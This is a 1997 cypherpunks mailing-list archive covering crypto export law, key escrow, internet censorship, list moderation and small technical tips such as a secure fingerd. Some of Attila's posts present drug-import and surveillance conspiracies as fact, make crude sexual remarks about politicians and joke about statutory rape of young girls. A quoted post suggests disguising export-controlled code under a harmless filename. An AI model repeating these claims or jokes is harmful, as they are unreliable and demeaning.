the country and the people who impliment it. The problem is not the
government or the ideals it was founded on but rather the way we impliment
it. Our government is people, who put their pants on the same way you or I
do (assuming you wear pants that is). They are not inherently some mineon of
Hell, they are people who in general either don't give a damn and it's just
a job or else they really believe what they are doing. Our government is NOT
some ideal or non-real entity, despite how many citizens may rail about it in 
that manner. It just don't make it so.

Accept and deal with your schizophrenic tendencies and help solve this
national problem we face. Let's try to solve it now so that our
grandchildren won't have to fight this fight again.


                                                      Jim Choate
                                                      CyberTects
                                                      ravage@ssz.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: pgut001@cs.auckland.ac.nz
Date: Wed, 22 Jan 1997 04:27:13 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Keyword scanning/speech recognition
Message-ID: <199701221227.EAA23480@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


I've found another collection of references on speech scanning/recognition, the
February 1989 CACM, p.193, contains 38 references going back to 1980.  It'd be
an interesting exercise for anyone with access to a large library to trace back
through these (some of them look promising, like a 1980 book "Trends in Speech
Recognition" from which a number of references are taken) to see how far back
you can go and at what point certain things became feasible.  The CACM
references would be a good starting point for a search.
 
Peter.
 






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: hjk <hjk@ddorf.rhein-ruhr.de>
Date: Wed, 22 Jan 1997 13:25:16 -0800 (PST)
To: Dale Thorn <dthorn@gte.net>
Subject: Re: Thoughts re moderation, filtering, and name changes
Message-ID: <199701222125.NAA28826@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



On Mon, 20 Jan 1997, Dale Thorn wrote:

> hjk wrote:
....
> > I wonder who is so brainless, not to understand what's going on.
> > Do you really think the subscribers are pure Idiots?
> 
> Well, Heinz.  You live in a country full of people, ordinary people,
> variously called the hoi polloi, the sheeple, the unwashed masses,
> and other interesting names.
> 
... 
> Now whatever you think of your fellow citizens, or even those of the
> USA (to name an example), I'm sure is OK on whatever basis you apply
> your judgement.  But I guarantee you that the people on the cypherpunks
> list are no more or less intelligent than the people who vegetate in
> front of their TV sets every day, right there where you live, in all
> probability. If you believe that your fellow citizens vote intelligently,
> then I respond that cypherpunks vote intelligently.  What do you think?
> 

Well, I thought cypherpunks claim to be elite.

Heinz-Juergen Keller
hjk@ddorf.rhein-ruhr.de






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@pathfinder.com>
Date: Wed, 22 Jan 1997 19:40:37 -0800 (PST)
To: Carl Ellison <cme@cybercash.com>
Subject: Re: David Kahn advocates GAK
Message-ID: <199701230340.TAA04038@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


It is indeed a shame, and Carl's response was (of course) excellent.

The last chapter of the revised edition of the Codebreakers is reasonably
pro-government in the way it lays out the issue of key escrow, so perhaps
we shouldn't be surprised. (I'm told that David's sojourn at the NSA
museum was unexciting;  they wouldn't tell him much.) :) 

-Declan



On Wed, 22 Jan 1997, Carl Ellison wrote:

> -----BEGIN PGP SIGNED MESSAGE-----
> 
> It might also be that David's year long sabatical at NSA's crypto museum 
> which recently ended put him in touch with people who believe in GAK.
> 
> I found it interesting that he noted the argument that each additional
> day of government access is a good thing.  This is the kind of belief
> we know that NSA holds -- a.k.a. "not on my watch" -- but I haven't seen
> it publicly admitted before.
> 
>  - Carl
> 
> -----BEGIN PGP SIGNATURE-----
> Version: 2.6.2
> 
> iQCVAwUBMuZ35lQXJENzYr45AQEcfwQAqMftG0DXn1nr6faA6IHeAtqSXYanwnZb
> DiwqppU4nJqPtIvtFw8eOVVwyYCzIv046dFtwR2mk8HeL1v8I3R2sWm7waknFjlm
> TM84+vLamlVnBNPUAXRYOrFiEhPQm/iitR4GVrcga9mHJ+vrI38XQGzi0lxdg310
> pWjq5Fxahag=
> =xhF7
> -----END PGP SIGNATURE-----
> 
> 
> +------------------------------------------------------------------+
> |Carl M. Ellison       cme@acm.org    http://www.clark.net/pub/cme |
> |   PGP 2.6.2: 61 E2 DE 7F CB 9D 79 84  E9 C8 04 8B A6 32 21 A2    |
> +-Officer, officer, arrest that man. He's whistling a dirty song.--+
> 
> 
> 






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Wed, 22 Jan 1997 22:40:36 -0800 (PST)
To: hjk <hjk@ddorf.rhein-ruhr.de>
Subject: Re: Thoughts re moderation, filtering, and name changes
Message-ID: <199701230640.WAA06696@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


hjk wrote:
> On Mon, 20 Jan 1997, Dale Thorn wrote:
> > hjk wrote:

> > Now whatever you think of your fellow citizens, or even those of the
> > USA (to name an example), I'm sure is OK on whatever basis you apply
> > your judgement.  But I guarantee you that the people on the cypherpunks
> > list are no more or less intelligent than the people who vegetate in
> > front of their TV sets every day, right there where you live, in all
> > probability. If you believe that your fellow citizens vote intelligently,
> > then I respond that cypherpunks vote intelligently.  What do you think?

> Well, I thought cypherpunks claim to be elite.

Most of the erstwhile elite types do the ordinary things in a quite
ordinary way.  Get dressed, eat, collect and send e-mail, and so on.

The un-ordinary things (for example) are the thought processes which
take place while typing out a post.  Those thought processes don't
generally intersect directly with the mundane things such as operating
the computer, unless the operations themselves are unusual and demand
the full attention of the person involved.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Wed, 22 Jan 1997 22:40:30 -0800 (PST)
To: Igor Chudov <ichudov@algebra.com>
Subject: Re: Airport security [no such thing]
Message-ID: <199701230640.WAA06684@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Igor Chudov @ home wrote:
> Dr.Dimitri Vulis KOTM wrote:
> > Nurdane Oksas <oksas@asimov.montclair.edu> writes:

> But think about this: suppose there is a couple, bob@household.com,
> and alice@household.com. Suppose that Rev. Mallory does not like bob.
> Mallory forges a lot of emails like "I can still taste your sperm
> on my lips", that appear to originate from Cindy@phonesex.org.
> Then, promptly, Mallory sends an anonymous alert to alice@household.com,
> warning her about naughty email activities of bob. Alice gets mad at him
> and divorces him.
> How would bob protect himself against such developments?

Frame-ups are as old as time.  The ones that work the best are those
that are the most believable.  O.J., for example.  Unless Alice is
unusually flaky or paranoid, she'll consider her options against the
time she has invested in Bob.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Thu, 23 Jan 1997 06:26:54 -0800 (PST)
To: "Attila T. Hun" <attila@primenet.com>
Subject: Re: YEEHAW! Tobacco argument heats up in AZ
Message-ID: <199701231426.GAA15726@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Attila T. Hun wrote:
> summary: AZ AG filed for an injunction in the public interest to stop
> the sale of tobacco in AZ.  tobacco company response claimed he was
> infringing on legislative rights...   full story is below.

> ::      PHOENIX, Arizona (Reuter) - The tobacco industry filed
> :: motions on Tuesday in a bid to dismiss the Arizona Attorney
> :: General's law suit which seeks to ban the sale of tobacco in the
> :: state.  Lawyers for two of the defendants, Brown & Williamson
> :: Tobacco Corp. and Philip Morris Cos Inc. (MO.N), said in a
> :: statement the proposed ban would eliminate tax revenue from the
> :: sale of tobacco which is used to fund healthcare and education
> :: programs statewide.

The Indians in Arizona have some special tax breaks on cigs, as a
"sovereign nation" treaty deal or something, yes?  Would this ban
create any interesting opportunities?






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Wed, 22 Jan 1997 22:35:18 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: ADSL (Was: GSM technology
Message-ID: <199701230635.WAA06617@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Toto wrote:
> 
> jbugden@smtplink.alis.ca wrote:
> > A previous poster mentioned that because of the copper wire restriction, that
> > they may deploy first in older centers. This would appear to be the case, since
> > a Canadian telco (Sasktel) is offering ADSL in Saskatoon for 60$/month with
> > unlimited internet access. Saskatoon falls into this category - in my opinion.
> >
> > I was only is SK briefly over New Years, but perhaps Toto can fill in details.
> 
> James,
>   SaskTel has, for the most part, always had a monopoly on the telephone
> business in Saskatchewan, and used this to keep the phone rates fairly
> high. On the other hand, they also used much of the money to position
> themselves to keep their monopoly by investing heavily in the newest
> technologies.
>   As a result, they have a lot of fiber-optic, etc., even in the
> boondocks, but they also soaked those people $ 6.00 hour for
> InterNet access, until Sympatico came in with a competitive rate
> of less than $ 1.00/hour, and then they stopped clipping the
> sucker/citizens.
>   SaskTel left the 'upgrading' of the larger centers to last, and
> as a result, their 'old' technology seems to be ironically beneficial
> to them in being able to offer ADSL in Saskatoon, Regina, and a couple
> of other centers.
> 
> Toto







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Mark M." <markm@voicenet.com>
Date: Wed, 22 Jan 1997 20:26:11 -0800 (PST)
To: cypherpunks <ravage@einstein.ssz.com>
Subject: Re: Fighting the cybercensor. (fwd)
Message-ID: <199701230426.UAA04426@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

On Wed, 22 Jan 1997, Jim Choate wrote:

> 'We' shouldn't, it is their own country and it is up to their populace to
> stop it. Do you really want Singapore or China having a say in how we run
> our web? I certainly don't, and won't support any move to force any
> particular view on them.

I don't want China or Singapore to have a say in how the web is run which is
exactly why I would support any effort to make their filtering systems useless.
What I put on my web page is my business and I can change the location of the
URL as many times as I want and try to make it as difficult as possible to
filter it.  These countries have no say in whether or not I can do this.  If
they want to censor their Internet feed, that's their problem and I'm under no
obligation to make it easy for them.

> Bull, the web was conceived so physicist and other researchers could share
> data in a easily digestible format. The web and technology in general have
> no more ethics or morality intrinsicly in them than a 5/8" open end
> wrench. Blocking and filtering are an expression of human choice and the
> implimentation thereof.

If it's forced upon the people, it's not a choice.  Ultimately, the people can
abolish the government if it becomes tyrannical, but not without a lot of lives
being lost.  I'd much rather try to make sure that people in these countries
have free access to information than watch people getting crushed by tanks.

> You don't like it, don't live there and don't try to
> call there. You or I have no more right to be on a Chinese or Singapore
> Internet than they have in coming into yours or my home without an
> invitation.

These countries want the benefits of being connected to the Internet without
the burdens of the citizens having free access to information.  It just doesn't
work that way.  They can pull the plug if they want.  If they don't, then they
have no right to complain about how people are smuggling subversive information
into their respective countries.  If the information was "uninvited", then
nobody would be downloading it or accessing it anyway.

Countries that want to censor their internet connections have the choice of
either facing extreme economic difficulties as a result of not being connected
to the Internet, or giving their people access to information that the
government doesn't want these people to access.  Either way, it will force
these countries to change in some way.  I think most of them will eventually
settle for the latter choice.  Allowing these countries to censor their
connections will result in violence that could otherwise be avoided.



Mark
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Thu, 23 Jan 1997 06:26:26 -0800 (PST)
To: Amanda Walker <amanda@intercon.com>
Subject: Re: Keywords scanning/speech recognition
Message-ID: <199701231426.GAA15705@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Amanda Walker wrote:
> John Kelsey <kelsey@email.plnet.net> wrote:

> This may or may not be relevant, but I was a math major during an NSA college-
> recruitment drive in the early 1980s.  As part of the "come work for the NSA"
> packet they were giving out, they had a sample issue of the NSA internal
> linguistics journal.  One of the articles concerned a system called DYPTRACK,
> which tracked the pitch of a digitized voice signal to an impressive degree of
> accuracy.  This would imply that the NSA, at least, had invested considerable
> resources into digital speech analysis as early as the late 1960s or early
> 1970s (since by 1980 DYPTRACK was un-sensitive enough to be described in
> college recruitment material).

I have a CD today (used to be an LP in the late 1970's) of Enrico
Caruso arias, digitally processed thru something called Stockham/
Soundstream digital process, circa mid-late 1970's.

They took a number of samples of a modern (1970's) tenor's singing
(someone whose voice had similar characteristics to Caruso's) and had
the computer run it against the original Caruso recordings in an
attempt to subtract out extraneous noise, resonances, and so on.

The process helped somewhat, making the voice seem closer intead of
somewhere a couple of rooms over, but the essential quality of the
mechanically-recorded sound was still there, i.e., very dull and not
at all life-like.

They were supposed to release a lot more of this stuff, and they did
some, but major interest was never there, and I haven't heard any more
about further research in the intervening years, although I'll bet it's
gone way beyond where it was.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Carl Ellison <cme@cybercash.com>
Date: Wed, 22 Jan 1997 21:10:47 -0800 (PST)
To: dccp@eff.org
Subject: P.S. David Kahn's editorial today
Message-ID: <199701230510.VAA04818@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

I just sent the following P.S. to newsday.com

			----------------------

There is another reason to have cellular phones which encrypt only the 
over-the-air portion of a call, besides the fact that we can leave normal 
wiretap access procedures in place and not surrender civilian crypto keys to 
the government.

If I have a cellular phone which encrypts over the air (between the phone 
and the base station) and I call you, while you have a normal wired phone, 
our call is protected by cryptography from interception off the air.

If I use an AT&T Clipper-style cellular phone, as David suggested, and I 
call you on a normal wired phone, we can't encrypt the conversation and it 
is vulnerable to interception.  The protection works *only* if both parties 
have encrypting phones while interoperate.

  - Carl

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+------------------------------------------------------------------+
|Carl M. Ellison       cme@acm.org    http://www.clark.net/pub/cme |
|   PGP 2.6.2: 61 E2 DE 7F CB 9D 79 84  E9 C8 04 8B A6 32 21 A2    |
+-Officer, officer, arrest that man. He's whistling a dirty song.--+






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Thu, 23 Jan 1997 06:28:06 -0800 (PST)
To: Igor Chudov <ichudov@algebra.com>
Subject: Re: Thoughts re moderation, filtering, and name changes
Message-ID: <199701231428.GAA15793@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Igor Chudov @ home wrote:
> Dale Thorn wrote:
> > hjk wrote:
> > > On Mon, 20 Jan 1997, Dale Thorn wrote:
> > Most of the erstwhile elite types do the ordinary things in a quite
> > ordinary way.  Get dressed, eat, collect and send e-mail, and so on.
> > The un-ordinary things (for example) are the thought processes which
> > take place while typing out a post.  Those thought processes don't
> > generally intersect directly with the mundane things such as operating
> > the computer, unless the operations themselves are unusual and demand
> > the full attention of the person involved.

> So what?

The so what is that hjk believed that since cypherpunks were "elite",
it followed that they would notice certain administrative messages more
than non-elite people, and also remember those messages better.

I had no contention with the remember-better part, assuming that was
stated somewhere, but my argument is that greater intelligence does
not necessarily lead to paying better attention to mundane everyday
things like administrative messages and notices. The specific example
was whether most cypherpunks subscribers would take more than momentary
notice of the new list arrangements, and whether they would consciously
think about whether they should change their status (subscription), and
if so, why.  My contention is that most would not give it any serious
amount of attention.  This is no different IMO than whether erstwhile
"intelligent" people pay greater attention to road signs while driving
than people of average mental power do.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Vin McLellan <vin@shore.net>
Date: Wed, 22 Jan 1997 21:10:50 -0800 (PST)
To: Lucky Green <shamrock@netcom.com>
Subject: Re: Encrypting ZIP drives?
Message-ID: <199701230510.VAA04819@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Lucky Green <shamrock@netcom.com> who is usually answering questions, wrote:

>>>I am looking for a transparent (strong) encryption of ZIP drives.
>>>Any advice would be appreciated.
<snip>

>Parallel on Win95.

        Hi Lucky,

        RSA has got their Win95 version of SecurPC.  That's 128-bit RC4
encryption; maybe 10X the speed of DES.  You could encrypt your zip data
from Explorer either on demand, or automatically upon exiting WIN95. (It
auto-decrypts on startup.)  SecurPC doesn't  yet have transparent (fully
background) crypto, but given the market pressures, it obviously won't be
long in coming. 

        SecurPC does have a number of other unusual features that might
offset the lack of transparency.  My favorite: At least until the next
version of ERA;-) RSA's SecurPC permits you to ship data over the US borders
encrypted with 128-bit RC4 in a self-extracting file which can be opened by
anyone, anywhere --  with the same OS as the sender, and the right
(one-time?) password -- even if they don't have a copy of SecurPC.   

         The key, passed out of band, is certainly not up to PKC
standards... but for occasional connections, if you duck the dictionary
attack, it looks pretty damn sturdy. One-way symmetric-- kinda neat!
(Anyone know how it really works?  I got a copy of the v1 user's manual from
SDTI, where I do a lot of contract work -- but it doesn't really explain the
split of  functions. I'll have to ask.)

       Suerte,
                        _Vin






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Anonymous <lucifer@dhp.com>
Date: Wed, 22 Jan 1997 21:10:51 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Decision in Karn Case
Message-ID: <199701230510.VAA04820@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


> http://www.epic.org/crypto/export_controls/karn_decision_1_97.html
> [...]
>     In light of the recent Executive Order transferring
> regulatory authority of non-military cryptographic computer
> source code to the Commerce Department, and the Commerce
> Department's promulgation of a new regulation under the authority
> of the International Emergency Economic Powers Act, 50 U.S.C. secs.
> 1701 et seq., we remand this case to the district court to
> consider the reviewability of and, if appropriate, the merits of
> appellant's claim under the Administrative Procedure Act.

And when that review finally reaches the appeals court,
the administration can move the regulations to the state department.

The uniqueness of the anti-crypto regulations is that it is a law
against intellectuals and academics. These people will not be willing to
break the law and then challenge its constitutionality in the courts,
or engage in any kind of civil disobedience demonstration. The author
of premail, for example, is doing a weird kind of civil *obedience*
demonstration to protect the laws. As long as that continues the
government can get away with playing their shell game.

By the way, what exactly happend to D.J. Bernstein's and the EFF's
threat to seek an injunction from Judge Patel if the new regulations
were not put on hold subject to constitutional review by January 2?
No updates at www.eff.org. Did EFF strike another deal with the
government?






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com
Date: Thu, 23 Jan 1997 06:10:32 -0800 (PST)
To: Cypherpunks <cypherpunks@toad.com>
Subject: Re: Thoughts re moderation, filtering, and name changes
Message-ID: <199701231410.GAA15291@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Dale Thorn wrote:
> hjk wrote:
> > On Mon, 20 Jan 1997, Dale Thorn wrote:
> > > hjk wrote:
> 
> > > Now whatever you think of your fellow citizens, or even those of the
> > > USA (to name an example), I'm sure is OK on whatever basis you apply
> > > your judgement.  But I guarantee you that the people on the cypherpunks
> > > list are no more or less intelligent than the people who vegetate in
> > > front of their TV sets every day, right there where you live, in all
> > > probability. If you believe that your fellow citizens vote intelligently,
> > > then I respond that cypherpunks vote intelligently.  What do you think?
> 
> > Well, I thought cypherpunks claim to be elite.
> 
> Most of the erstwhile elite types do the ordinary things in a quite
> ordinary way.  Get dressed, eat, collect and send e-mail, and so on.
> 
> The un-ordinary things (for example) are the thought processes which
> take place while typing out a post.  Those thought processes don't
> generally intersect directly with the mundane things such as operating
> the computer, unless the operations themselves are unusual and demand
> the full attention of the person involved.
> 

So what?

	- Igor.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Campbell <wcampbel@peganet.com>
Date: Wed, 22 Jan 1997 22:26:39 -0800 (PST)
To: cypherpunks@toad.com
Subject: Commerce Sec. Hearings and Encryption
Message-ID: <199701230626.WAA06492@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


I have been watching the confirmation hearings for William Daley,
and I was amazed at the number of references in the questioning
to encryption. I have been watching confirmation hearings for a long
time and have never noticed this much attention being placed on such
a (formerly?) obscure topic.

It appears that encryption is definitely a big blip on the
governmental radar screen now, although whether this is a good
thing or a bad thing is definitely a debatable question. It's
interesting to me that all this interest is coming up in a
confirmation hearing for a *commerce* secretary. Maybe the
commercial aspects of encryption can have a positive impact
on the current restrictions; privacy rights certainly haven't had
any impact.

=Bill=





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: harka@nycmetro.com
Date: Thu, 23 Jan 1997 06:27:18 -0800 (PST)
To: cypherpunks@toad.com
Subject: encrypted WinTalk/e-mails
Message-ID: <199701231427.GAA15768@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

Hi there,

does anybody know about an encrypting snoop-proof version of WinTalk
(or a similar ytalk-style program)?
If so, please copy replies to my private e-mail, for I am currently
not subscribed to the CP list...

Thanks in advance for your help...

Harka

PS: Here is also a collection of free (anonymous?) e-mail account
services for those, who are interested...(sorry about the
html-tags).

 <li>NetForward 
 <li>HoTMaiL 
 <li>Trale 
 <li>WWDG Free Email 
 <li>MailMasher 
 <li>StarMail  Over 100 domains to
  choose from!!
 <li>iName  Over 100 domains to choose
  from!!
 <li>Geocities 
 <li>Juno 
 <li>Net@ddress 
 <li>Bigfoot 
 <li>MailHost 
 <li>POBox 
 <li>POBoxes 
 <li>PEmail 
 <li>La Jolla Shores 
 <li>From.Net 


/*************************************************************/
/* This user supports FREE SPEECH ONLINE           *         */
/* and PRIVATE ONLINE COMMUNICATIONS!            *   *       */
/*                                             *       *     */
/* E-mail: harka@nycmetro.com                    *   *       */
/*                                                 *         */
/* Finger or E-Mail for PGP public key.          *   *       */
/* Key Size: 2047   /   KeyID: 04174301        *       *     */
/* Fingerprint: FD E4 F8 6D C1 6A 44 F5   http://www.eff.org */
/*              28 9C 40 6E B8 94 78 E8                      */
/*<<<<<<<<<<<<<<<<<<<<<<<<<<<<<>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>*/
/* May there be peace in this world, may all anger dissolve  */
/* and may all living beings find the way to happiness...    */
/*************************************************************/

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=jw27
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If encryption is outlawed, only outlaws will have encryption...







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Attila T. Hun" <attila@primenet.com>
Date: Wed, 22 Jan 1997 22:26:12 -0800 (PST)
To: cypherpunks <cypherpunks@toad.com>
Subject: greed and the internet
Message-ID: <199701230626.WAA06484@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

    greed and the internet

        our network provider (MCI) has been gradually burying our T1 
    trunk and the effective feed has been reduced to 1200 baud from 
    1.56 Megabaud; that, and add 20 seconds to 5+ minutes of packet 
    hold, and it is now worthless. they claim they will have increased
    capacity, but there are no pressing big money commercial interests
    on this feeder --so when?  

        Problem is not just here --everywhere; the greedy commercial 
    bastards have oversold their network space intentionally as they 
    are bucking for per packet and timed usage charges which are 
    currently prohibited by the FCC and the state PUCs. The FCC is the 
    key since other than the local network, which is burdened with the 
    costs of the trunk, everything is regulated by the FCC which is 
    trying to totally eliminate the state PUCs in the 105th Congress,     
    Newt's mouth not withstanding.

        The FCC agreed to review the matter, capitulating to 
    big greed interests, which will make the Internet a rich man's 
    toy. $19.95/month plus access charges will increase to thousands 
    of dollars per month; slow networks make toast of the free hours 
    and overtime kills.  Without the creative input of the multitude, 
    there will be no content, so why have a net other than for 
    commercial purposes? suites the misinformation cabal just fine.

	Well, the FCC granted a reprieve --for the moment. but will
    come up again, and again, until it passes.

        The Internet will no no longer be the peoples net, and the 
    commercial greedies are establishing a faster, more secure 
    network with controlled access points; leaving the common man's 
    access in the mud, still paying the exorbitant rates on a pay 
    before play basis.  That, and it gives control of information to 
    the government --which, as we all know. is 'heavenly white' 
    -above sin.

        Universities are being bought off with the 'Internet II' 
    proposal which provides super trunks of over 600 Megabaud 
    capacity, a 400 times improvement. All of this feeds into five 
    stategically placed super-hubs where Uncle's shadow government can 
    monitor everything.

        The Internet was supposed to be our freedom: freedom of 
    information and government in the sunshine, but government is 
    proving it is still bigger, faster, and badder by using draconian 
    rules of illegal regulatory agencies. agencies which are usurping 
    rights limited to the legislative branch.


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2z8qbOW0cqo=
=M9c5
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: snow <snow@smoke.suba.com>
Date: Thu, 23 Jan 1997 06:26:10 -0800 (PST)
To: Toto <toto@sk.sympatico.ca>
Subject: Re: fingerd
Message-ID: <199701231426.GAA15678@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


> > Couple of things you can do:
> >     2.  Install a more secure "fingerd" such that it only
> >         allows "finger `userid@node.domain`" instead of
> >         "finger `@node.domain`".
> > While I've seen #2 in action, I don't know where to go to snarf it.  I just
> > use #1.
>   Anyone know where to 'snarf it'?

    cfingerd can be gotten from:

    ftp.bitgate.com/pub/cfingerd/pub/cfingerd
 -or-
    sunsite.unc.edu/pub/Linux/system/Network/finger

    There are a couple of other fingerd's in the sunsite directory. Cfinger
seemed to be the best last time I was looking for a fingerd.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Attila T. Hun" <attila@primenet.com>
Date: Wed, 22 Jan 1997 22:26:46 -0800 (PST)
To: cypherpunks <toto@sk.sympatico.ca>
Subject: justice for cryptography, US style
Message-ID: <199701230626.WAA06507@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

        Looks to me like Carl needs to understand justice, U.S. federal 
    court style. In the first place: "ignorance is no excuse under the 
    law" -then: ask yourself why the U.S. continues the drug war when 
    it is obvious to the perverted, ignorant, and bought-off Congress- 
    person that it will never be won. the answer is simple: it's MONEY. 

        First, the government makes a fortune by importing drugs, which 
    they can use for unaccountable programs which are illegal under 
    law. The money is controlled by the CIA, administration, and the 
    power brokers in the deal which basically states it all; and, 
    secondly, there is money in imprisonment. Oh? so then ask yourself 
    why the federal prisons have tripled in size the last 10 years with 
    the dope wars.  coincidental?

        now, what does that have to do with crypto?  very simple: as 
    the US heads closer and closer to the UN Constitution under Bubba's 
    guidance with Hillary's hands on his balls, crypto can bypass 
    political thought control.  That will not be acceptable to those 
    who rule: in the US, or anywhere else.

        "Intimidation is just another form of communication."  (attila)

    and they have intimidated federal judges, and they are intimidating 
    federal judges, and they will continue to intimdate federal judges. 
    and, they will continue to feed the media what they want known.

        so, what does that have to do with it?

        a)  the federal government is disenfranchising felons with
            certain types of convictions, including drugs, and all
            offenses against the federal government --cryptography
            is an offense against the federal government since it
            falls under ITAR.

            do you know what disenfranchisement really means: well,
            start with fact you have lost your civil rights --ALL of 
            them. the man never needs a warrant to take you, anywhere. 
            anyplace, including your home without knocking --he has 
            automatic probable cause.

            all federal convictions of the type described carry a tail 
            --extended probation. in other words, a sadistic, sadonic, 
            and automatically suspicious federal civil servant OWNS 
            you. He can visit your employer; he can tell you exactly 
            how to run your business if you are self-employed; he can 
            tell you if you can move; he can tell you who you will see 
            or talk with; and if tells you to polish his apple, get on 
            your knees and smile while you labour. 

        b)  no vote --that is the principle meaning of franchise which 
            is defined as "suffrage."  you are history on that score 
            unless you manage to convince Bubba to grant you a federal 
            pardon.

        c)  the federal govenment, through one of their federal money 
            giveaways is forcing the criminal records onto the drivers' 
            license.  So far, no state has a check box on the sealed 
            photo ID, but they will, including a coded offense block.

        d)  now, the big credit bureaus, TRW, Equifax, etc. have added 
            the collection of data for traffic convictions; so far they 
            have not added either misdemeanor and felony >>arrests<< 
            and convictions to the _available_ information, but they 
            will.  Did you know that you can have a 3 or 4 page rap 
            sheet for a single arrest/offense/conviction by the time 
            they rewrite charges, which is common in, you guessed it: 
            dope cases, and propably will be in crypto cases as the 
            Federales discover more evidence (planted, decoded, 
            whatever?).

        e)  You know, I'm beginning to like Mississippi's statutory 
            rape laws better all the time.  The age is 18, as high it 
            goes in all 50 states --but it only applies if the minor 
            female is over 12 and can prove she is a virgin...  yeah, 
            right, where the only virgin over eight can run faster than 
            her brothers...

        e)  prisons are big business; and, government has undertaken a
            program of privatization of the prison system --in other 
            words, the big government oriented contractors, like SAIC 
            chaired by Bobby Inman, are planning to make a profit 
            housing government misjustice. do they like to make money?

            does this sound like slave labour to you? 

            sounds like government 'letting' of business. P.J. O'Rourke 
            has the definitive result of that:   
   
                "When buying and selling are controlled by legislation, 
                the first things to be bought and sold are legislators"  

        well, I'm too old for the civil disobedience game or deliberately begging the law; I do not wish to head for the 3 hots ad a cot of federal hospitality wearing more years than I can carry. 

        but you'd better believe and if you wish to even try to beat 
    the government back, don't think you have any rights in America.  Just remember Judge Roy Bean is sitting in his large $1,500-2,000 comforatable chair about a meter above you, smiling down on you as you sit in the hard, cold, flimsy chair of the dock, after our esteemed judge got drunk last night with his cronies.  

After all, Judge Roy, who's only human, suffers from an inferiority complex, and needs a power rush. And after this poor excuse for a human lays 3 fives running wild (15) and 6 tail on you, try smiling at the judge; then say: "thank you your honor, but you're just another fuckin' drunk." 

  == <attila out>

    ====== ORIGINAL MESSAGE ======

In <32C27B88.558@sk.sympatico.ca>, on 12/26/96 
   at 05:20 AM, Carl Johnson <toto@sk.sympatico.ca> said:

::jim bell wrote:
::> 
::> However, if being "on the Internet" is automatically presumed to be 
::> an export, why can't we program using remote-control editors which 
::> might, someday, be available on the Internet? 

::  If I wanted to export an unexportable program, I would put it on my 
::  machine as 'happyface.zip', and then make sure that everybody 
::  spread the word that it was available under that title.  I don't 
::  believe there is a prosecutor alive that can convince a jury of
::  twelve mostly non-technically oriented people that someone should 
::  be put in prison for not knowing the content of every single 
::  non-text file on their machine.

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3i
Charset: latin1
Comment: Encrypted with 2.6.3i. Requires 2.6 or later.

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4hJo3N7U5ITscNeks8IbClzl8UNkoKaW5UH0bQlL6EaU7AvmmB15g6nQ4C59rBos
l2AQiOZZtwU=
=QJSj
-----END PGP SIGNATURE-----







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Thu, 23 Jan 1997 06:27:56 -0800 (PST)
To: Jim Choate <ravage@einstein.ssz.com>
Subject: Re: Fighting the cybercensor. (fwd)
Message-ID: <199701231427.GAA15792@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Jim Choate wrote:
> > Subject: Re: Fighting the cybercensor. (fwd)

> > > 'We' shouldn't, it is their own country and it is up to their populace to
> > > stop it.
> >   And Germany was Hitler and the Nazi Party's own country.
> And your point is? Are you equating a specific individual or organization
> with Hitler or the National Socialist?

  Sorry, I forgot that people who work well with numbers often aren't as
good at working with concepts.  I'll write slowly.
  I'm equating 'any' country where individuals take and keep power over 
